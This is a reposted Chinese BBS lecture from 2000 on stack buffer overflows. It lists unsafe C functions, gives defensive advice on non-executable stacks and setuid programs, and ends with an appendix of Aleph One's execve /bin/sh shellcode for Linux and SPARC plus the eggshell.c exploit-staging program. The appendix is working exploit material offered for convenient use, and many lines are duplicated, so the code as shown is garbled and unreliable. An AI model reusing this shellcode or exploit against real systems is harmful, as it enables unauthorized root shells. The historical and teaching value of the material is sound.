荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: playboy (冷冷的太阳), 信区: Program
标 题: [转载]堆栈溢出系列讲座(6)
发信站: BBS 荔园晨风站 (Wed Feb 23 13:16:35 2000), 转信
【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: ipxodi (乐乐), 信区: Security
标 题: 堆栈溢出系列讲座(6)
发信站: 武汉白云黄鹤站 (Tue Feb 22 16:57:34 2000), 转信
堆栈溢出系列讲座
防范堆栈溢出
1:寻找漏洞
我们已经看到堆栈溢出的危害,那么什么程序会有堆栈溢出的隐患呢?
首先是strcpy,很多问题都出在他身上。
其他的,还有:
1:很多与字符串操作相关的函数都是有问题的。它们是:
strcat(), strcpy(),sprintf(), and vsprintf()。
2:带有可变参数的函数,比如:所有printf的变种,(除了printf)
fprintf()...
因为这些函数都使用了vsprintf(buf, fmt, ap);来将格式化的字符串和参数结合
,
输出到buffer中去,所以都有堆栈溢出的危险。
输出到buffer中去,所以都有堆栈溢出的危险。
3:内部调用了strcpy的函数
gets(),getc(), fgetc(), or getchar()...
4:scanf()以及所有scanf的变种。
vcscanf(),sscanf(),fscanf()...
因为scanf可以接受参数%s,来进行串复制,而不考虑串的边界。
有以上函数的程序,都是危险的。
另外,所有链接了Xt lib的程序,都是有问题的程序。
在linux里面,你可以查找所有的原代码,grep上述这些函数。如果没有原代码,
你可以
使用strings命令察看目标程序里面的字符串,看看有没有:"input什么的","%s"
什么的
,还可以使用()命令来察看程序使用了哪些库函数。
一旦发现有隐患的程序,你就可以使用前面讲过的各种方法来试验。相信很快就可
以
以
发现一个漏洞并且得到shell。
2:防范措施:
当然最好的方法就是把堆栈段设置成不可执行。本来堆栈段就是放数据的吗!我们
的
shellcode由于是在堆栈里面,所以将会彻底没戏。但是,这需要操作系统的支持
才可以
。solaris现在已经可以实现这个功能.Linux目前我不清楚。
另外,不要随便编写setuid的程序。而且在写setuid的程序的时候,千万要小心,
不要
出现上面说的哪些问题函数,或者,附加边界检查。
你的机器上的setuid程序的个数和名字,你应该定期检查。对于很少用的setuid程
序,
干脆就去掉setuid位得了。
最后,新的漏洞是层出不穷的,精华区里面有很多安全网址。
你(网管)应该每天去这些地方拜会。希望你紧跟时代,勤打补丁。
3:附录:
3:附录:
下面这些宝贝是从Aleph One的经典名著 “Smashing The Stack For Fun And
Profit”
的附录考过来的。主要是为了方便大家使用,省得找了。
Appendix A - Shellcode for Different Operating
Systems/Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/Linux
------------------------------------------------------------------------
------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------
------
SPARC/Solaris
------------------------------------------------------------------------
------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------
------
SPARC/SunOS
------------------------------------------------------------------------
------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------
------
Appendix B - Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
shellcode.h
------------------------------------------------------------------------
------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------
------
eggshell.c
------------------------------------------------------------------------
------
/*
* eggshell v1.0
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i +=
NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>]
[-o <offset>]\n");
}
*(ptr++) = shellcode[i];
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>]
[-o <offset>]\n");
}
------------------------------------------------------------------------
------
--
※ 来源:.武汉白云黄鹤站 bbs.whnet.edu.cn.[FROM: 202.112.101.131]
--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.90]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店